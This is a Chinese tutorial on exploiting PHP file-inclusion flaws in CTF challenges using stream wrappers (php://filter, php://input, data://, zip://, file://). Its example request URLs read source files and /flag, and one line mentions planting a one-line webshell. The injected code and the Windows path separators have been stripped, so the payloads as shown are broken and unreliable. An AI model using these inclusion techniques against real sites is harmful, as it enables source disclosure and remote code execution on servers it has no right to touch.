最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
php伪协议实现命令执行解析
时间：2022-10-17 编辑：坚强 来源：一聚教程网
本文为小伙伴们带来了关于php伪协议实现命令执行解析的相关内容，感兴趣的小伙伴一起来看看吧。
1.file://协议
条件：
allow_url_fopen : off/on allow_url_include: off/on
作用：
用于访问本地文件系统，在ctf中通常用来读取本地文件
在include() / require() / include_once() / require_once()参数可控的情况下，即使导入非.php文件，如shell.txt ，依然按照php语法进行解析，这是include()函数所决定的
说明:
file:// 文件系统是php使用的默认封装协议，用于展示本地文件系统。
用法：
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:pathtowinfile.ext \smbserversharepathtowinfile.ext file:///path/to/file.ext
示例：
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt
2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://网络位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://协议
条件：
allow_url_open : off/on allow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on
作用：
php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码 php://input 用于执行php代码
说明：
php提供了一些杂项输入/输出(IO)流，允许访问 PHP 的输入输出流，标准输入输出流和错误描述符：
php://filter使用：
php://filter/read=convert.base64-encode/resource=[文件名]
php://input的使用：
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
写入一句话
http://127.0.0.1/include.php?file=php://input [POST DATA部分] '); ?>
3.data://协议
作用：
php>=5.2.0 , 可以使用data://数据流封装器，以传递相应格式的数据。通常用来执行php代码
用法：
data://text/plain, ???
如：
http://127.0.0.1/include.php?file=data://text/plain,
4.zip:// & bzip:// & zlib:// 协议
作用：
zip:// & bzip:// & zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可以修改为任意后缀名，如 jpg，png，gif，xxx等
示例：
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传（同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2
3.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传（支持任意后缀名）
http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz
总结
在ctf中常用的有data:// , php://input , php://filter ，file://
php://input ，data://用来执行命令 1.php://input 的用法 http://127.0.0.1/include.php?file=php://input [POST DATA部分] 2.data://用法 http://127.0.0.1/include.php?file=data://text/plain, php://filter，file://用来读取文件 3.php://filter用法 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（读取php文件需要先加密以下才能读出来） http://127.0.0.1/include.php?file=php://filter/resource=/flag 4.file://用法 http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt
以上就是关于php伪协议实现命令执行解析的全部内容了，感兴趣的小伙伴记得点击关注哦。
-
上一个： PHP实现多张图片上传功能解析
相关文章
- PHP导出数据超时的优化建议解读 10-31
- PHP之mysql位运算解析 10-31
- Laravel实现登录跳转功能解析 10-31
- php双向队列解读 10-31
- Laravel异常上下文解决教程 10-24
- php数组查询元素位置方法介绍 10-24